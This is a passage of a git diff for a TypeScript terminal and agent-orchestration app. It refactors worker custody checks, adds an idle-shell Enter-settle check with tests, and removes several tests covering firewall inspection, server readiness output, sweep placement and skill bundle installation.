(record, root, response, reader) => + structuredParentAccountWork(readReceiving(), record, root, response, reader) + } +} diff --git a/src/main/runtime/structured-worker-custody.ts b/src/main/runtime/structured-worker-custody.ts index 62eead60db8..72150d0d830 100644 --- a/src/main/runtime/structured-worker-custody.ts +++ b/src/main/runtime/structured-worker-custody.ts @@ -19,9 +19,16 @@ import { structuredWorkerRecordIsCurrent } from './structured-worker-identity' +type SessionTabReader = Pick< + NonNullable>, + 'getPersistedVisibleSessionTabIndex' +> + /** Judge ownership on the resolved successor session; absent host returns null because reading storage would install it. */ -export function structuredWorkerOwned(running: RunningStructuredSession): boolean | null { - const host = getStructuredAgentSessionHost() +export function structuredWorkerOwned( + running: RunningStructuredSession, + host: SessionTabReader | null = getStructuredAgentSessionHost() +): boolean | null { if (!host) { return null } @@ -49,10 +56,7 @@ export function structuredSessionTabRetired( } /** Retirement is the tab index: every path that ends a chat for good hides its tab. */ -function structuredSessionTabListed( - host: NonNullable>, - sessionId: string -): boolean { +function structuredSessionTabListed(host: SessionTabReader, sessionId: string): boolean { try { return host.getPersistedVisibleSessionTabIndex?.().sessionIds.includes(sessionId) ?? false } catch { @@ -79,9 +83,10 @@ function ownerState( export function structuredWorkerAddressable( db: OrchestrationDb | null | undefined, running: RunningStructuredSession, - row: CustodyRow | undefined + row: CustodyRow | undefined, + host: SessionTabReader | null = getStructuredAgentSessionHost() ): boolean | null { - const owned = structuredWorkerOwned(running) + const owned = structuredWorkerOwned(running, host) if (owned === null) { return null } diff --git a/src/main/runtime/structured-worker-terminal-read.test.ts b/src/main/runtime/structured-worker-terminal-read.test.ts index 4e49e4cb428..196d4b9101b 100644 --- a/src/main/runtime/structured-worker-terminal-read.test.ts +++ b/src/main/runtime/structured-worker-terminal-read.test.ts @@ -122,12 +122,6 @@ describe('reading a structured worker through the terminal-read path', () => { expect(refusal).not.toContain('worker-read') }) - it('reports dropped history as truncated rather than pretending the page is whole', async () => { - const handle = registerWorker() - installHost({ items: [message('i1', 'tail only')], hasOlder: true }) - expect((await readStructuredWorkerTerminal({ handle, db: null }))?.truncated).toBe(true) - }) - it('redacts dispatch capability tokens the same way the archive path does', async () => { const handle = registerWorker() const token = `dcap_${'a'.repeat(32)}` diff --git a/src/main/runtime/terminal-send-idle-shell-settle.test.ts b/src/main/runtime/terminal-send-idle-shell-settle.test.ts new file mode 100644 index 00000000000..389707a7313 --- /dev/null +++ b/src/main/runtime/terminal-send-idle-shell-settle.test.ts @@ -0,0 +1,130 @@ +import { afterEach, describe, expect, it, vi } from 'vitest' +import type { AgentStatusIpcPayload } from '../../shared/agent-status-ipc-payload' +import { OrcaRuntimeService } from './orca-runtime' +import { makeStore } from './runtime-rpc-worktree-store-fixtures' + +vi.mock('../git/worktree', () => { + const worktrees = [ + { + path: '/tmp/worktree-a', + head: 'abc', + branch: 'feature/idle-shell-settle', + isBare: false, + isMainWorktree: false + } + ] + return { + listWorktrees: vi.fn().mockResolvedValue(worktrees), + listWorktreesStrict: vi.fn().mockResolvedValue(worktrees) + } +}) + +const PTY_ID = 'pty-idle-shell' +const A = '\x1b]133;A\x07' +const B = '\x1b]133;B\x07' +const C = '\x1b]133;C\x07' +const D0 = '\x1b]133;D;0\x07' +const IDLE_PROMPT = `${A}$ ${B}ls\r\n${C}file\r\n${D0}${A}$ ${B}` + +type PaneSetup = { + output?: string + launchAgent?: 'claude' + foregroundAgent?: 'claude' + /** The host's shell-foreground proof; null omits the capability. */ + shellForeground?: boolean | 'hang' | null + hookRows?: AgentStatusIpcPayload[] + sends?: number +} + +/** Milliseconds from each send to its Enter write, after the pane painted `output`. */ +async function enterDelays(setup: PaneSetup): Promise { + const { output, launchAgent, foregroundAgent, shellForeground = true, hookRows = [] } = setup + vi.useFakeTimers() + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the runtime reads only the repo/worktree members this fixture provides. + const runtime = new OrcaRuntimeService(makeStore() as never, undefined, { + getAgentStatusSnapshotForPane: () => hookRows + }) + let sentAt = 0 + const delays: number[] = [] + runtime.setPtyController({ + spawn: vi.fn().mockResolvedValue({ id: PTY_ID }), + write: (_ptyId, data) => { + if (data === '\r') { + delays.push(Date.now() - sentAt) + } + return true + }, + kill: () => true, + getForegroundProcess: async () => null, + ...(shellForeground === null + ? {} + : { + confirmShellForeground: () => + shellForeground === 'hang' + ? new Promise(() => {}) + : Promise.resolve(shellForeground) + }) + }) + const { handle } = await runtime.createTerminal('path:/tmp/worktree-a') + if (output !== undefined) { + runtime.onPtyData(PTY_ID, output, Date.now()) + await vi.advanceTimersByTimeAsync(50) + } + // Recorded after the output: a shell's 133;D retires an earlier launch record. + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ptysById is OrcaRuntimeService's protected PTY record map. + const ptys = (runtime as unknown as { ptysById: Map> }).ptysById + Object.assign(ptys.get(PTY_ID)!, { + ...(launchAgent ? { launchAgent } : {}), + ...(foregroundAgent ? { foregroundAgent } : {}) + }) + for (let send = 0; send < (setup.sends ?? 1); send += 1) { + sentAt = Date.now() + const sent = runtime.sendTerminal( + handle, + { text: 'claude', enter: true }, + { inputKind: 'driving' } + ) + await vi.advanceTimersByTimeAsync(5000) + await sent + } + return delays +} + +const settled = (delays: number[]): boolean => delays.every((delay) => delay >= 500) + +describe('terminal.send Enter settle on a plain shell', () => { + afterEach(() => vi.useRealTimers()) + + it('submits at once when markers and the host both show an idle shell', async () => { + expect(await enterDelays({ output: IDLE_PROMPT })).toEqual([0]) + }) + + it.each<[string, PaneSetup]>([ + ['a command is running', { output: `${A}$ ${B}sleep 9\r\n${C}` }], + ['an agent was launched in the pane', { output: IDLE_PROMPT, launchAgent: 'claude' }], + ['an agent holds the foreground', { output: IDLE_PROMPT, foregroundAgent: 'claude' }], + ['the shell has no integration', { output: 'user@host:~$ ' }], + ['nothing has been painted yet', {}], + // Markers can be forged by any program; the execution host's foreground proof decides. + [ + 'the host says the shell is not in the foreground', + { output: IDLE_PROMPT, shellForeground: false } + ], + ['the host cannot prove the foreground', { output: IDLE_PROMPT, shellForeground: null }], + ['the host proof hangs', { output: IDLE_PROMPT, shellForeground: 'hang' }], + [ + 'the agent-status store has a row for the pane', + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle check reads only the row count. + { output: IDLE_PROMPT, hookRows: [{ paneKey: 'tab-1:leaf-1' } as AgentStatusIpcPayload] } + ] + ])('keeps the settle when %s', async (_name, setup) => { + expect(settled(await enterDelays(setup))).toBe(true) + }) + + // Review case 4: the first Enter starts a program, so the next send must not reuse that prompt. + it('settles a back-to-back send that follows a fast submit', async () => { + const [first, second] = await enterDelays({ output: IDLE_PROMPT, sends: 2 }) + expect(first).toBe(0) + expect(second).toBeGreaterThanOrEqual(500) + }) +}) diff --git a/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts b/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts new file mode 100644 index 00000000000..c5aac370415 --- /dev/null +++ b/src/main/runtime/terminal/input/idle-shell-prompt-claim.ts @@ -0,0 +1,32 @@ +// A hung host proof must not outlast the settle it would have saved. +const SHELL_FOREGROUND_PROOF_DEADLINE_MS = 250 + +export type IdleShellPromptEvidence = { + /** Launch/foreground records or any agent-status row, live or stale. */ + hasPaneAgent: () => boolean + /** Consumes the OSC 133 hint so back-to-back sends cannot reuse one prompt. */ + claimPromptMarker: () => boolean + /** The execution host's proof that the shell itself owns the terminal foreground. */ + confirmShellForeground: (() => Promise) | null +} + +/** True only when markers and the execution host both prove a bare shell at its prompt. */ +export async function claimIdleShellPrompt(evidence: IdleShellPromptEvidence): Promise { + if (evidence.hasPaneAgent() || !evidence.claimPromptMarker()) { + return false + } + const proof = evidence.confirmShellForeground?.() + if (!proof) { + return false + } + let timer: ReturnType | undefined + const deadline = new Promise((resolve) => { + timer = setTimeout(() => resolve(false), SHELL_FOREGROUND_PROOF_DEADLINE_MS) + timer.unref?.() + }) + try { + return await Promise.race([proof.catch(() => false), deadline]) + } finally { + clearTimeout(timer) + } +} diff --git a/src/main/runtime/terminal/launch/terminal-split-retry.test.ts b/src/main/runtime/terminal/launch/terminal-split-retry.test.ts index 049eee90f1b..8bb213db183 100644 --- a/src/main/runtime/terminal/launch/terminal-split-retry.test.ts +++ b/src/main/runtime/terminal/launch/terminal-split-retry.test.ts @@ -65,17 +65,6 @@ describe.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)( vi.useRealTimers() }) - it('names the pending pane and says it may still run its command', async () => { - const harness = createHarness() - const { error, leafId } = await timedOutSplit(harness) - - expect(leafId).toBe(harness.rendererSplitTerminal.mock.calls[0]?.[2]?.newLeafId) - expect(error.message).toContain('Timed out waiting for split pane handle') - expect(error.message).toContain(leafId) - expect(error.data).toMatchObject({ tabId: TAB_ID, splitMayStillComplete: true }) - expect(error.data.nextSteps.join('\n')).toContain(`--retry-split ${leafId}`) - }) - it('keeps waiting for a pane the window already listed while its terminal starts', async () => { const harness = createHarness() const split = harness.runtime.splitTerminal(harness.handle, { command: 'agent' }) diff --git a/src/main/runtime/terminal/output/terminal-orchestration-authority.ts b/src/main/runtime/terminal/output/terminal-orchestration-authority.ts index f45b48df321..d6447064727 100644 --- a/src/main/runtime/terminal/output/terminal-orchestration-authority.ts +++ b/src/main/runtime/terminal/output/terminal-orchestration-authority.ts @@ -26,6 +26,7 @@ import { resolveStructuredWorkerAuthority } from '../../structured-worker-author import { isStructuredWorkerHandle } from '../../../../shared/structured-worker-handle' import { parseOrcaSessionAddress } from '../../../../shared/orca-session-address' import { matchesProcessIncarnation } from '../../orchestration/worker-terminal-process-liveness' +import { claimIdleShellPrompt } from '../input/idle-shell-prompt-claim' export abstract class OrcaRuntimeWithGetOrchestrationDispatchAuthority extends OrcaRuntimeWithVerifyOrchestrationCompatibilityCaller { protected abstract getExistingTerminalHandlesForPtyId(ptyId: string): string[] @@ -55,6 +56,26 @@ export abstract class OrcaRuntimeWithGetOrchestrationDispatchAuthority extends O return paneKeys } + protected claimIdleShellPromptForPty(ptyId: string): Promise { + const confirm = this.ptyController?.confirmShellForeground?.bind(this.ptyController) + const readPane = this.getAgentStatusSnapshotForPaneFn + return claimIdleShellPrompt({ + hasPaneAgent: () => { + const paneKeys = [...this.collectPaneKeysForPty(ptyId)] + // No store, no pane identity, or any row at all keeps the settle; a stale row costs only the wait. + return ( + this.getPaneTerminalAgent(ptyId) !== null || + !readPane || + paneKeys.length === 0 || + paneKeys.some((paneKey) => readPane(paneKey).length > 0) + ) + }, + claimPromptMarker: () => + this.headlessTerminals.get(ptyId)?.ownership.claimIdlePrompt() === true, + confirmShellForeground: confirm ? () => confirm(ptyId) : null + }) + } + /** Status cleanup also owns runtime-admitted legacy OSC rows; orchestration authority does not. */ protected collectAgentStatusPaneKeysForPty(ptyId: string): Set { const paneKeys = this.collectPaneKeysForPty(ptyId) diff --git a/src/main/runtime/windows-mobile-firewall.test.ts b/src/main/runtime/windows-mobile-firewall.test.ts index f00b8cd10a0..d5a0e24db6b 100644 --- a/src/main/runtime/windows-mobile-firewall.test.ts +++ b/src/main/runtime/windows-mobile-firewall.test.ts @@ -1,7 +1,6 @@ import { describe, expect, it, vi } from 'vitest' import { execFile } from 'node:child_process' import { - getWebSocketPort, inspectWindowsMobileFirewall, repairWindowsMobileFirewall, type WindowsMobileFirewallEnvironment @@ -25,48 +24,6 @@ function environment( } describe('windows mobile firewall', () => { - it('inspects the exact executable, port, and selected interface profile', async () => { - const runPowerShell = vi.fn().mockResolvedValue( - JSON.stringify({ - matchingRuleScopes: [{ remoteAddresses: ['192.168.0.0/24'] }], - blockingRuleDetected: false, - localAddress: '192.168.0.108', - localPrefixLength: 24, - privateFirewallEnabled: true, - networkCategory: 'Private' - }) - ) - - await expect( - inspectWindowsMobileFirewall(6768, '192.168.0.108', environment(runPowerShell)) - ).resolves.toEqual({ - supported: true, - port: 6768, - ruleAllowed: true, - blockingRuleDetected: false, - privateFirewallEnabled: true, - networkCategory: 'private', - inspectionAvailable: true - }) - - const script = runPowerShell.mock.calls[0]![0] as string - // Why: without ActiveStore, GPO-applied Block rules are invisible and the - // post-repair re-inspection could report a false success on managed hosts. - expect(script).toContain( - "Get-NetFirewallApplicationFilter -PolicyStore ActiveStore -Program 'C:\\Users\\O''Brien\\Orca\\Orca.exe'" - ) - expect(script).toContain('Get-NetFirewallProfile -PolicyStore ActiveStore -Name Private') - expect(script).toContain("LocalPort | Where-Object { [string]$_ -eq 'Any'") - expect(script).toContain("[string]$_ -eq '6768'") - expect(script).toContain("C:\\Users\\O''Brien\\Orca\\Orca.exe") - expect(script).toContain("$profile -match 'Private'") - expect(script).toContain("Get-NetIPAddress -IPAddress '192.168.0.108'") - expect(script).toContain('Get-NetFirewallAddressFilter') - expect(script).toContain("[string]$rule.Action -eq 'Block'") - expect(script).toContain('remoteAddresses = @($addressFilter.RemoteAddress') - expect(script).toContain('$localPrefixLength = [int]$ip.PrefixLength') - }) - it('doubles typographic single quotes in the executable literal', async () => { const runPowerShell = vi.fn().mockResolvedValue('not json') await inspectWindowsMobileFirewall( @@ -79,31 +36,6 @@ describe('windows mobile firewall', () => { ) }) - it('treats an overlapping inbound Block rule as overriding a matching Allow rule', async () => { - const runPowerShell = vi.fn().mockResolvedValue( - JSON.stringify({ - matchingRuleScopes: [{ remoteAddresses: ['Any'] }], - blockingRuleDetected: true, - localAddress: '192.168.0.108', - localPrefixLength: 24, - privateFirewallEnabled: true, - networkCategory: 'Private' - }) - ) - - await expect( - inspectWindowsMobileFirewall(6768, '192.168.0.108', environment(runPowerShell)) - ).resolves.toEqual({ - supported: true, - port: 6768, - ruleAllowed: false, - blockingRuleDetected: true, - privateFirewallEnabled: true, - networkCategory: 'private', - inspectionAvailable: true - }) - }) - it('does not accept a qualifying rule whose remote-address scope excludes the phone subnet', async () => { const runPowerShell = vi.fn().mockResolvedValue( JSON.stringify({ @@ -139,24 +71,6 @@ describe('windows mobile firewall', () => { expect(runPowerShell).not.toHaveBeenCalled() }) - it('returns an actionable status when inspection is unavailable', async () => { - await expect( - inspectWindowsMobileFirewall( - 6768, - undefined, - environment(vi.fn().mockRejectedValue(new Error('managed policy'))) - ) - ).resolves.toEqual({ - supported: true, - port: 6768, - ruleAllowed: false, - blockingRuleDetected: false, - privateFirewallEnabled: true, - networkCategory: 'unknown', - inspectionAvailable: false - }) - }) - it('returns an actionable status for malformed or empty PowerShell output', async () => { for (const stdout of ['', 'not json']) { await expect( @@ -173,28 +87,6 @@ describe('windows mobile firewall', () => { } }) - it('repairs only Orca mobile pairing on private networks after elevation', async () => { - const runPowerShell = vi.fn().mockResolvedValue('{"launched":true,"exitCode":0}') - await expect(repairWindowsMobileFirewall(6769, environment(runPowerShell))).resolves.toEqual({ - ok: true - }) - - const outerScript = runPowerShell.mock.calls[0]![0] as string - const encoded = outerScript.match(/'-EncodedCommand', '([^']+)'/)?.[1] - expect(encoded).toBeTruthy() - const repairScript = Buffer.from(encoded!, 'base64').toString('utf16le') - expect(repairScript).toContain("-Name 'Orca.MobilePairing'") - expect(repairScript).toContain( - "Where-Object { $_.Enabled -eq 'True' -and $_.Direction -eq 'Inbound' -and $_.Action -eq 'Block' }" - ) - expect(repairScript).toContain('$rule | Remove-NetFirewallRule') - expect(repairScript).toContain('-Profile Private') - expect(repairScript).toContain('-Protocol TCP') - expect(repairScript).toContain('-LocalPort 6769') - expect(repairScript).toContain("-Program 'C:\\Users\\O''Brien\\Orca\\Orca.exe'") - expect(repairScript).toContain('-EdgeTraversalPolicy Block') - }) - it('keeps the elevated child encoded because Start-Process re-splits its ArgumentList', async () => { // Elevated Start-Process joins/re-splits argv and collapses spaces in executable paths; only this hop needs base64. const runPowerShell = vi.fn().mockResolvedValue('{"launched":true,"exitCode":0}') @@ -247,10 +139,4 @@ describe('windows mobile firewall', () => { ) ).resolves.toEqual({ ok: false, reason: 'cancelled' }) }) - - it('extracts only explicit valid websocket ports', () => { - expect(getWebSocketPort('ws://0.0.0.0:6768')).toBe(6768) - expect(getWebSocketPort('ws://0.0.0.0')).toBeNull() - expect(getWebSocketPort('not a url')).toBeNull() - }) }) diff --git a/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts b/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts index 96dbc5ec36d..1f967c5708b 100644 --- a/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts +++ b/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts @@ -36,6 +36,8 @@ export abstract class OrcaRuntimeWithAutomationOperations extends OrcaRuntimeWit abstract notifyAutomationsChanged(payload?: AutomationsChangedPayload): void abstract ensureOrchestrationFederationRelay(runId?: string): void protected abstract scheduleRestoredMessageRepoints(): void + /** Mail a worker left unread when it reported before a restart still continues it. */ + protected abstract continueRestoredWorkerMail(db: OrchestrationDb): void protected abstract getResolvedWorktreeMap(): Promise> protected abstract getLeafKey(tabId: string, leafId: string): string @@ -162,6 +164,7 @@ export abstract class OrcaRuntimeWithAutomationOperations extends OrcaRuntimeWit this.bindWorkerTerminalAutoRelease(this._orchestrationDb) // Recover deadlines armed before a restart. getWorkerTerminalAutoReleaseScheduler(this).rearm() + this.continueRestoredWorkerMail(this._orchestrationDb) } return this._orchestrationDb } diff --git a/src/main/runtime/workspaces/persisted-surfaces/sweep-terminal-placement.test.ts b/src/main/runtime/workspaces/persisted-surfaces/sweep-terminal-placement.test.ts index f0d7782de69..2f4358bc073 100644 --- a/src/main/runtime/workspaces/persisted-surfaces/sweep-terminal-placement.test.ts +++ b/src/main/runtime/workspaces/persisted-surfaces/sweep-terminal-placement.test.ts @@ -12,7 +12,6 @@ import { import { OrcaRuntimeService } from '../../orca-runtime' import type { ResolvedWorktree } from '../../runtime-worktree-path-identity' import { TERMINAL_QUERY_METHODS } from '../../rpc/methods/terminal/terminal-query-methods' -import { FIRST_SURFACE_PLACEMENT_WAIT_MS } from './restored-terminal-placement' vi.mock('../../../../shared/layout-owner-switch', () => ({ ORCA_LAYOUT_OWNER_IS_MAIN: true })) vi.mock('../../../telemetry/client', () => ({ track: vi.fn() })) @@ -183,59 +182,3 @@ describe('a terminal created by the CLI, across a restart, layout-owner build', expect(boundPtyIds(relaunched, SWEPT)).toEqual(['pty-cli']) }) }) - -describe('a workspace’s first surface beside a sweep’s pass, layout-owner build', () => { - async function hostReadingASweepCensus() { - const directory = mkdtempSync(join(tmpdir(), 'orca-sweep-first-surface-')) - directories.push(directory) - const store = await openTopologyStore(directory, emptyTerminalSessionProfile()) - let answerCensus = (): void => {} - const census = new Promise((resolve) => { - answerCensus = () => resolve([session('pty-other', OTHER)]) - }) - const listProcesses = vi.fn(() => census) - const runtime = new SweepRuntime(store) - runtime.setPtyController({ - write: () => true, - kill: () => true, - getForegroundProcess: async () => null, - listProcesses - }) - const sweeping = runtime.placeUnshownLiveTerminalsOf(`id:${OTHER}`) - await vi.waitFor(() => expect(listProcesses).toHaveBeenCalled()) - const firstSurfaceOf = (workspace: string) => - runtime.applyLayoutCommand({ - type: 'createTerminalTab', - workspace, - tabId: '33333333-3333-4333-8333-333333333333', - leafId: '44444444-4444-4444-8444-444444444444', - initial: 'activation' - }) - return { answerCensus, sweeping, firstSurfaceOf } - } - - it('does not wait for a sweep of another workspace, which cannot place its terminals', async () => { - const { answerCensus, sweeping, firstSurfaceOf } = await hostReadingASweepCensus() - - const startedAt = performance.now() - const reply = await firstSurfaceOf(SWEPT) - - expect(performance.now() - startedAt).toBeLessThan(FIRST_SURFACE_PLACEMENT_WAIT_MS - 100) - expect(reply.ok).toBe(true) - answerCensus() - await sweeping - }) - - it('waits, up to the cap, for a sweep of its own workspace', async () => { - const { answerCensus, sweeping, firstSurfaceOf } = await hostReadingASweepCensus() - - const startedAt = performance.now() - await firstSurfaceOf(OTHER) - - expect(performance.now() - startedAt).toBeGreaterThanOrEqual( - FIRST_SURFACE_PLACEMENT_WAIT_MS - 20 - ) - answerCensus() - await sweeping - }) -}) diff --git a/src/main/runtime/workspaces/workspace-process-listing-dependencies.ts b/src/main/runtime/workspaces/workspace-process-listing-dependencies.ts index 0841cadc1ea..69e66d73e48 100644 --- a/src/main/runtime/workspaces/workspace-process-listing-dependencies.ts +++ b/src/main/runtime/workspaces/workspace-process-listing-dependencies.ts @@ -9,6 +9,7 @@ import type { OrcaRuntimeWithGetStructuredAgentSessionCreateSupport } from '../s import type { OrcaRuntimeWithGetPtyRecordForPaneKey } from '../orchestration/terminal-pane-mail-routing' import { OrcaRuntimeWithStartTuiIdleVisibleReadProbe } from '../terminal/wait/terminal-wait-visible-probe' import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { Repo } from '../../../shared/repo-types' import { escalateChatWorkerError } from '../orchestration/chat-worker-error-escalation' import type { StructuredAgentSessionRequestFailure } from '../../native-chat/agent-session-wire/structured-agent-session-request-failures' @@ -56,6 +57,13 @@ export abstract class OrcaRuntimeWithWorktreePsDependencies extends OrcaRuntimeW ): ReturnType< OrcaRuntimeWithGetStructuredAgentSessionCreateSupport['resolveStructuredAgentAccountHome'] > + abstract resolveStructuredAgentLaunchAccountHome( + ...args: Parameters< + OrcaRuntimeWithGetStructuredAgentSessionCreateSupport['resolveStructuredAgentLaunchAccountHome'] + > + ): ReturnType< + OrcaRuntimeWithGetStructuredAgentSessionCreateSupport['resolveStructuredAgentLaunchAccountHome'] + > abstract onStructuredSessionStatusForMail( ...args: Parameters ): ReturnType @@ -66,6 +74,10 @@ export abstract class OrcaRuntimeWithWorktreePsDependencies extends OrcaRuntimeW ...args: Parameters ): ReturnType + listRepos(): Repo[] { + return this.store?.getRepos() ?? [] + } + /** A chat worker whose request settled failed tells the Run that dispatched it. */ onStructuredRequestFailureForErrorMail(failure: StructuredAgentSessionRequestFailure): void { void escalateChatWorkerError(failure, this.workerTurnStopReportDeps) diff --git a/src/main/runtime/workspaces/workspace-process-listing.ts b/src/main/runtime/workspaces/workspace-process-listing.ts index 44954e68b19..6580302e87e 100644 --- a/src/main/runtime/workspaces/workspace-process-listing.ts +++ b/src/main/runtime/workspaces/workspace-process-listing.ts @@ -1,3 +1,4 @@ +import { structuredNativeWorkReaders } from '../structured-native-work-readers' import { getRepoHostIdentityForParts } from '../../../shared/repo-host-identity' import { createRepoRowExecutionHostLookup } from '../../../shared/worktree-execution-host-resolution' import { resolveWorktreeHostRouting } from '../worktree-launch-host-repo' @@ -43,10 +44,7 @@ import { getProfileUserDataPath } from '../../orca-profiles/profile-storage-path import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' import { chatWorkerTurnStopReporter } from '../orchestration/chat-worker-turn-stops' import { buildWorktreeListingPage } from '../worktree-listing-host-scope' -import { - structuredWorkerOpenTaskTitle, - structuredWorkerOwesWork -} from '../structured-worker-custody' +import { structuredWorkerOpenTaskTitle } from '../structured-worker-custody' import { preModeChatGetsFullAccess } from '../../../shared/agent-chat-permission-mode' import { isTuiAgent } from '../../../shared/tui-agent-config' import { nativeChatShellEnvironmentPolicy } from '../../../shared/native-chat/native-chat-shell-environment' @@ -182,10 +180,6 @@ export abstract class OrcaRuntimeWithGetWorktreePs extends OrcaRuntimeWithWorktr } } - listRepos(): Repo[] { - return this.store?.getRepos() ?? [] - } - /** Exclude retained migration sources from client listings. */ listVisibleRepos(): Repo[] { return runtimeVisibleRepos(this.store) @@ -282,6 +276,8 @@ export abstract class OrcaRuntimeWithGetWorktreePs extends OrcaRuntimeWithWorktr resolveCodexAccountKind: (home) => resolveStructuredCodexAccountKind(home, this.requireStore().getSettings()), resolveAgentAccountHome: (agent) => this.resolveStructuredAgentAccountHome(agent), + launchAccountHome: (record, purpose) => + this.resolveStructuredAgentLaunchAccountHome(record, purpose), ...(this.prepareCodexCatalogProbeHomeFn ? { prepareCodexCatalogProbeHome: this.prepareCodexCatalogProbeHomeFn } : {}), @@ -311,9 +307,10 @@ export abstract class OrcaRuntimeWithGetWorktreePs extends OrcaRuntimeWithWorktr now: () => Date.now() }), onTurnAttention: chatWorkerTurnStopReporter(this.workerTurnStopReportDeps), - // Re-read dispatch ownership each sweep; absence of a database cannot keep the worker alive. - hasOpenDispatch: (record) => - structuredWorkerOwesWork(this.getOrchestrationDbIfAvailable?.() ?? null, record) + ...structuredNativeWorkReaders( + () => this.getOrchestrationDbIfAvailable?.() ?? null, + () => this.getExistingOrchestrationDb() + ) }) } } diff --git a/src/main/server/serve-readiness.test.ts b/src/main/server/serve-readiness.test.ts index 18614c23e4a..24d4fa5b318 100644 --- a/src/main/server/serve-readiness.test.ts +++ b/src/main/server/serve-readiness.test.ts @@ -1,10 +1,10 @@ -import { describe, expect, it, vi } from 'vitest' +import { describe, expect, it } from 'vitest' + import { renderServeReadiness, ServeReadinessPublisher, type ServeReadiness } from './serve-readiness' -import type { OrcadHealth } from '../orcad/orcad-health' const ready: ServeReadiness = { runtimeId: 'runtime-1', @@ -22,81 +22,7 @@ const ready: ServeReadiness = { } } -const health: OrcadHealth = { - buildHash: 'abc123def4567890', - buildVersion: '1.4.0', - nodeVersion: '20.11.0', - nodeAbi: '115', - platform: 'linux', - arch: 'x64', - pid: 1234, - terminalDaemon: { - state: 'live', - ownsFreshSessions: true, - pid: 4242, - buildVersion: '1.4.0', - entryPath: '/opt/orcad/daemon-entry.js', - protocolVersion: 36, - cgroupUnit: null, - selfTest: { ok: true, coverage: 'pty-spawn', verdict: 'healthy', durationMs: 12 } - } -} - describe('ServeReadinessPublisher', () => { - it('writes one complete human-readable ready block', async () => { - const write = vi.fn(async () => {}) - const publisher = new ServeReadinessPublisher(write) - - await publisher.publish(ready, { mode: 'human' }) - - expect(write).toHaveBeenCalledOnce() - expect(write).toHaveBeenCalledWith( - expect.stringContaining( - 'Orca server ready\nBound endpoint: ws://0.0.0.0:6768\nAdvertised endpoint: wss://orca.example.test/runtime' - ) - ) - expect(write).toHaveBeenCalledWith( - expect.stringContaining('Pairing URL: orca://pair?code=secret\n') - ) - }) - - it('publishes a versioned JSON contract with explicit endpoints and pairing availability', () => { - expect(JSON.parse(renderServeReadiness(ready, { mode: 'json' }))).toEqual({ - type: 'orca_server_ready', - schemaVersion: 1, - runtimeId: 'runtime-1', - endpoint: 'ws://0.0.0.0:6768', - boundEndpoint: 'ws://0.0.0.0:6768', - advertisedEndpoint: 'wss://orca.example.test/runtime', - managedWslCliReconciliation: 'settled', - pairing: ready.pairing - }) - }) - - it('reports unavailable pairing as an explicit machine-readable object', () => { - const unavailable: ServeReadiness = { - ...ready, - advertisedEndpoint: null, - pairing: { - available: false, - reason: 'invalid_advertised_endpoint', - guidance: 'Use a reachable address.' - } - } - - const json = JSON.parse(renderServeReadiness(unavailable, { mode: 'json' })) - expect(json.pairing).toEqual(unavailable.pairing) - expect(renderServeReadiness(unavailable, { mode: 'human' })).toContain( - 'Pairing unavailable: invalid_advertised_endpoint\nPairing guidance: Use a reachable address.' - ) - }) - - it('preserves the recipe JSON contract', () => { - expect(renderServeReadiness(ready, { mode: 'recipe-json', projectRoot: '/workspace' })).toBe( - '{"schemaVersion":1,"pairingCode":"orca://pair?code=secret","projectRoot":"/workspace"}' - ) - }) - it('fails recipe output with the unavailable reason and guidance', () => { const unavailable: ServeReadiness = { ...ready, @@ -111,49 +37,6 @@ describe('ServeReadinessPublisher', () => { ).toThrow('websocket_unavailable. Choose an unused --port.') }) - it('omits the health block entirely when a host does not report one', () => { - const payload = JSON.parse(renderServeReadiness(ready, { mode: 'json' })) - // Absent health means unreported; it must not imply a green verdict. - expect('health' in payload).toBe(false) - expect(renderServeReadiness(ready, { mode: 'human' })).not.toContain('Terminal daemon') - }) - - it('carries build identity, Node ABI and the daemon self-test in the JSON contract', () => { - const payload = JSON.parse(renderServeReadiness({ ...ready, health }, { mode: 'json' })) - expect(payload.health.buildHash).toBe('abc123def4567890') - expect(payload.health.nodeAbi).toBe('115') - expect(payload.health.terminalDaemon.selfTest).toEqual({ - ok: true, - coverage: 'pty-spawn', - verdict: 'healthy', - durationMs: 12 - }) - }) - - it('says out loud when the daemon self-test failed', () => { - const failed: ServeReadiness = { - ...ready, - health: { - ...health, - terminalDaemon: { - ...health.terminalDaemon, - state: 'degraded', - ownsFreshSessions: false, - selfTest: { - ok: false, - coverage: 'pty-spawn', - verdict: 'pty-spawn-unhealthy', - durationMs: 3_000 - } - } - } - } - const human = renderServeReadiness(failed, { mode: 'human' }) - // Make failure explicit to operators rather than requiring inference from missing output. - expect(human).toContain('PTY self-test FAILED') - expect(human).toContain('terminals survive an orcad restart: NO') - }) - it('rejects concurrent and later duplicate publications', async () => { let finishWrite: (() => void) | undefined const publisher = new ServeReadinessPublisher( diff --git a/src/main/skills/skill-bundle-install-service.test.ts b/src/main/skills/skill-bundle-install-service.test.ts index f5de4faf7eb..8761205904f 100644 --- a/src/main/skills/skill-bundle-install-service.test.ts +++ b/src/main/skills/skill-bundle-install-service.test.ts @@ -33,40 +33,6 @@ afterEach(async () => { }) describe('skill bundle installation', () => { - it('cancels before extracting bundle bytes and removes staging', async () => { - const root = await temporaryDirectory() - const source = await createSkill(join(root, 'sources'), 'alpha-skill') - const bundle = await createSkillBundleArchive({ - sources: [{ sourceDirectory: source }], - archivePath: join(root, 'bundle.tar.gz'), - packageId: 'package_cancel', - versionId: 'version_cancel', - bundleName: 'team-skills' - }) - const controller = new AbortController() - controller.abort() - - await expect( - installSkillBundle({ - operationId: 'operation_cancel', - archivePath: bundle.archivePath, - packageId: bundle.manifest.packageId, - versionId: bundle.manifest.versionId, - bundleDigest: bundle.manifest.bundleDigest, - selectedSkillIds: ['alpha-skill'], - expectedArchiveSha256: bundle.archiveSha256, - scope: 'global', - homeDirectory: join(root, 'home'), - orcaStateDirectory: join(root, 'state'), - detectedProviders: [], - destinationIdentity: 'local-global', - 